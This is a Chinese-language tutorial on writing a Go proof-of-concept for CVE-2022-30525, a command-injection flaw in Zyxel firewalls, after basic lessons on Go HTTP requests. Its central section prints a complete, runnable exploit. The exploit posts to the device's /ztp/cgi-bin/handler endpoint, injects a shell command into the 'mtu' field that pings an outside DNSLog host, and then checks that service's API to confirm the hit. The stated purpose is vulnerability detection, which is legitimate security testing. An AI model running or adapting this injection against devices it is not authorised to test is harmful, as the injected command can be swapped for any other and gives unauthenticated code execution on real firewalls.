实战Golang编写POC—CVE-2022-30525
字数 1338 2025-08-12 11:34:41
Golang编写POC实战:CVE-2022-30525漏洞检测
1. HTTP请求基础
1.1 GET请求
基本GET请求
package main
import (
"fmt"
"io/ioutil"
"net/http"
"time"
)
func main() {
testUrl := "https://www.baidu.com"
req, err := http.NewRequest("GET", testUrl, nil)
if err != nil {
panic(err)
}
// 设置自定义请求头
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
// 配置HTTP客户端
client := http.Client{
Timeout: 5 * time.Second, // 设置超时时间
}
// 发送请求
resp, err := client.Do(req)
if err != nil {
fmt.Println("request fail", err.Error())
return
} else {
fmt.Printf("StatusCode: %v\n", resp.StatusCode)
}
// 读取响应体
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
panic(err)
}
fmt.Println(string(body))
}
带参数GET请求
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
func main() {
url := "https://cn.bing.com/search"
req, err := http.NewRequest("GET", url, nil)
if err != nil {
log.Fatal(err)
}
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
// 设置GET参数
params := req.URL.Query()
params.Add("q", "1")
req.URL.RawQuery = params.Encode() // 自动进行URL编码
resp, err := http.DefaultClient.Do(req)
if err != nil {
log.Fatal(err)
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println(string(body))
}
处理JSON响应
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
)
func main() {
// ... 发送请求代码同上 ...
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
var data interface{}
json.Unmarshal(body, &data)
fmt.Println(data)
}
1.2 POST请求
package main
import (
"fmt"
"net/http"
"strings"
)
func main() {
url := "http://www.target.com"
postData := `{
"key": "value",
"anotherKey": "anotherValue"
}`
req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postData))
if err != nil {
panic(err)
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/json")
client := http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Printf("request fail. %s/n", err.Error())
}
if resp.StatusCode != 200 {
fmt.Println(resp.StatusCode)
}
}
1.3 忽略HTTPS证书验证
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Transport: tr,
}
1.4 接收用户参数
var Target string
flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080")
flag.Parse()
2. CVE-2022-30525漏洞分析
2.1 漏洞描述
Zyxel防火墙存在通过管理HTTP接口进行未经身份验证的远程命令注入漏洞。攻击者可以通过/ztp/cgi-bin/handler URI注入任意命令,这些命令将以nobody用户身份执行。漏洞存在于lib_wan_settings.py中的setWanPortSt功能,攻击者可以将任意命令注入到mtu或data参数中。
2.2 漏洞验证方法
-
直接验证:发送特定POST请求,观察响应状态码和内容
- 漏洞存在时可能返回特定状态码
- 但仅靠状态码判断不可靠(有时不存在漏洞也会返回503)
-
DNSLog验证:更可靠的方法
- 使用DNSLog服务(如http://eyes.sh/)
- 注入ping命令到目标DNSLog域名
- 检查DNSLog是否有记录
2.3 DNSLog API使用
单个请求检查
http://eyes.sh/api/dns/test998/{prefix}/?token=3377175d
- 返回"True"表示请求被触发
- 返回"False"表示请求未触发
多个请求检查
http://eyes.sh/api/group/dns/test998/{prefix}/?token=3377175d
- 返回JSON包含成功触发的payload清单
3. POC编写实战
3.1 完整POC代码
package main
import (
"crypto/tls"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"strings"
"time"
)
// 1. URL处理函数
func urlHandler(target string) string {
if !strings.HasPrefix(target, "http") {
target = "http://" + target
}
if strings.HasSuffix(target, "/") {
target = strings.TrimSuffix(target, "/")
}
return target
}
var rand_str string
// 2. 漏洞验证函数
func vuln_verify(target string) {
rand.Seed(time.Now().UnixNano()) // 设置随机数种子
b := make([]byte, 2)
rand.Read(b)
rand_str = hex.EncodeToString(b) // 生成随机16进制字符串
url := target + "/ztp/cgi-bin/handler"
postDataStr := `{
"command":"setWanPortSt",
"proto":"dhcp",
"port":"4",
"vlan_tagged":"1",
"vlanid":"5",
"mtu":"; ping ` + rand_str + `.test998.eyes.sh -c4;",
"data":"hi"
}`
req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postDataStr))
if err != nil {
fmt.Println("Create POST request failed", err.Error())
defer req.Body.Close()
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/json")
// 忽略证书验证
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Transport: tr,
}
resp, err := client.Do(req)
if err != nil {
fmt.Println("request target fail", err.Error())
fmt.Println(resp.StatusCode)
}
time.Sleep(10 * time.Second) // 等待DNS记录
// 3. 检查DNSLog响应
dnsResponseGet, err := http.Get("http://eyes.sh/api/dns/test998/" + rand_str + "/?token=3377175d")
if err != nil {
fmt.Println("Failed to create dnsResponseGet request", err.Error())
defer dnsResponseGet.Body.Close()
}
body, err := ioutil.ReadAll(dnsResponseGet.Body)
if err != nil {
fmt.Println("Failed to get response", err.Error())
}
if string(body) == "True" {
fmt.Println("Target is vulnerable")
} else if string(body) == "False" {
fmt.Println("The target is not vulnerable")
}
}
// 4. 主函数
func main() {
var Target string
flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080")
flag.Parse()
Target = urlHandler(Target)
vuln_verify(Target)
}
3.2 关键点解析
-
随机字符串生成:
- 使用
rand.Seed(time.Now().UnixNano())确保每次随机 - 生成2字节随机数并编码为16进制字符串
- 使用
-
命令注入:
- 在
mtu参数中注入ping命令到DNSLog域名 - 使用
-c4限制ping次数(避免无限ping)
- 在
-
HTTPS处理:
- 配置
TLSClientConfig忽略证书验证 - 解决"x509: certificate signed by unknown authority"错误
- 配置
-
延时等待:
time.Sleep(10 * time.Second)确保DNS记录有时间生成
-
结果验证:
- 查询DNSLog API判断漏洞是否存在
- 根据返回的"True"/"False"给出结论
3.3 测试场景
-
目标不可访问:
- 输出"request target fail"和错误信息
-
目标不存在漏洞:
- 输出"The target is not vulnerable"
-
目标存在漏洞:
- 输出"Target is vulnerable"
4. 总结与注意事项
-
状态码不可靠:
- 不能仅依赖HTTP状态码判断漏洞存在
- 必须使用DNSLog等外部验证方法
-
DNSLog选择:
- 最初尝试dnslog.cn但遇到问题
- 改用eyes.sh更稳定可靠
-
HTTPS处理:
- 必须配置忽略证书验证
- 否则会遇到证书错误导致请求失败
-
随机性保证:
- 每次生成不同的随机字符串
- 避免DNS缓存影响判断
-
安全考虑:
- 限制注入命令的执行时间(如ping -c4)
- 避免对目标系统造成过大负担
通过这个实战案例,我们学习了如何使用Golang编写一个完整的POC,包括HTTP请求处理、参数注入、DNSLog验证等关键安全测试技术。